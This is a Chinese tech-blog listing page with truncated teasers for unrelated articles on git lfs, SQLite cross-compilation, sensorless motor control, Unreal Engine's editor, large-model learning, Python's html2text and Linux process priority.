第一步&#xff1a;下载baseline文件 &#xff08;1&#xff09;安装lfs&#xff0c;用于git脚本命令下载大文件 git lfs install 在AI模型和数据集中&#xff0c;通常包含一些较大的文件&#xff0c;例如图像或模型参数。这些文件可能会超过普通Git仓库的处理能力。git lfs 可…

【Linux SQLite数据库】一、SQLite交叉编译与移植

SQLite 是一个用 C 语言编写的开源、轻量级、快速、独立且高可靠性的 SQL 数据库引擎&#xff0c;它提供了功能齐全的数据库解决方案。SQLite 几乎可以在所有的手机和计算机上运行&#xff0c;它被嵌入到无数人每天都在使用的众多应用程序中。此外&#xff0c;SQLite 还具有稳定…

【电控笔记z6】无感文献综述

高频注入 afabeta注入 lq/ld越大统好 凸极性大反电动势ZVCD pwm电压向量为主 增加动态特性 设计隆博戈估测器 高频注入: lq/ld比较大 运用在低转速 到高速的时候 , 切换到model_base的方法进行反电动势侦测 smo :速度无法很低 有个极限 受杂讯影响大 高速时候用 总结 用spm …

UE基础 —— 编辑器界面

菜单栏 UE中每个编辑器都有一个菜单栏&#xff0c;部分菜单会出现在所有编辑器窗口中&#xff0c;如File、Window、Help&#xff0c;其他则是其编辑器特有的&#xff1b; 主工具栏 UE中部分最常用的工具和命令的快捷方式&#xff1b; 1&#xff0c;保存按钮&#xff08;ctrls&a…

深入探索大模型:从基础到实践,开启AI之旅

摘要&#xff1a; 在人工智能领域&#xff0c;大模型技术正成为推动创新和进步的关键力量。对于初学者而言&#xff0c;掌握大模型的基本概念、理论和技术是至关重要的。 本文将为你提供一个全面的学习路线&#xff0c;帮助你从基础知识出发&#xff0c;逐步深入到大模型的实践…

探索Python的文本转换魔法:html2text库的奥秘

文章目录 **探索Python的文本转换魔法&#xff1a;html2text库的奥秘**背景&#xff1a;为何选择html2text&#xff1f;这个库是什么&#xff1f;如何安装这个库&#xff1f;简单使用&#xff1a;5个基本函数介绍场景应用&#xff1a;3个实际使用示例常见问题与解决方案总结 探…

Linux 进程调度(三)之进程的优先级

目录 一、概述二、进程的优先级1、基础概念2、优先级的意义3、查看优先级4、PRI 和 NI5、修改优先级6、控制进程的优先级的系统调用7、调整优先级的限制 一、概述 在 Linux 中&#xff0c;每个进程都有一个优先级。优先级决定了进程在系统资源分配中的先后顺序。Linux 中的进程…